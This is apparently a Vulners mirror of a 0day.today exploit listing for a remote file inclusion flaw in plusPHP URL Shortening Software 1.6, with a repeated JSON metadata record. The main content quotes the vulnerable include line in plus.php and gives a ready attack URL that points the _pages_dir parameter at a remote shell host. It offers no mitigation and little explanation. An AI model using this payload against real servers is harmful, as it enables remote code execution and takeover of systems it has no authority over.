Search...

plusPHP URL Shortening Software 1.6 Remote File Inclusion Vulnerability

2008-05-25T00:00:00

ID 1337DAY-ID-3067
Type zdt
Reporter DR.TOXIC
Modified 2008-05-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =======================================================================
plusPHP URL Shortening Software 1.6 Remote File Inclusion Vulnerability
=======================================================================



Title: plusPHP Multi-User Short URL and Statistics (plus.php) RFI Vulnerability
Vulnerability Code: (plus.php) "include ($_pages_dir.'_config.php');"
Example;
http://localhost/plus.php?_pages_dir=http://SH3LL?




#  0day.today [2018-01-26]  #

JSON Vulners Source

Initial Source

{"id": "1337DAY-ID-3067", "type": "zdt", "bulletinFamily": "exploit", "title": "plusPHP URL Shortening Software 1.6 Remote File Inclusion Vulnerability", "description": "Exploit for unknown platform in category web applications", "published": "2008-05-25T00:00:00", "modified": "2008-05-25T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/3067", "reporter": "DR.TOXIC", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-01-27T01:26:12", "viewCount": 16, "enchantments": {"score": {"value": 0.5, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.5}, "sourceHref": "https://0day.today/exploit/3067", "sourceData": "=======================================================================\r\nplusPHP URL Shortening Software 1.6 Remote File Inclusion Vulnerability\r\n=======================================================================\r\n\r\n\r\n\r\nTitle: plusPHP Multi-User Short URL and Statistics (plus.php) RFI Vulnerability\r\nVulnerability Code: (plus.php) \"include ($_pages_dir.'_config.php');\"\r\nExample;\r\nhttp://localhost/plus.php?_pages_dir=http://SH3LL?\r\n\r\n\r\n\r\n\n# 0day.today [2018-01-26] #", "_state": {"dependencies": 1647682488}}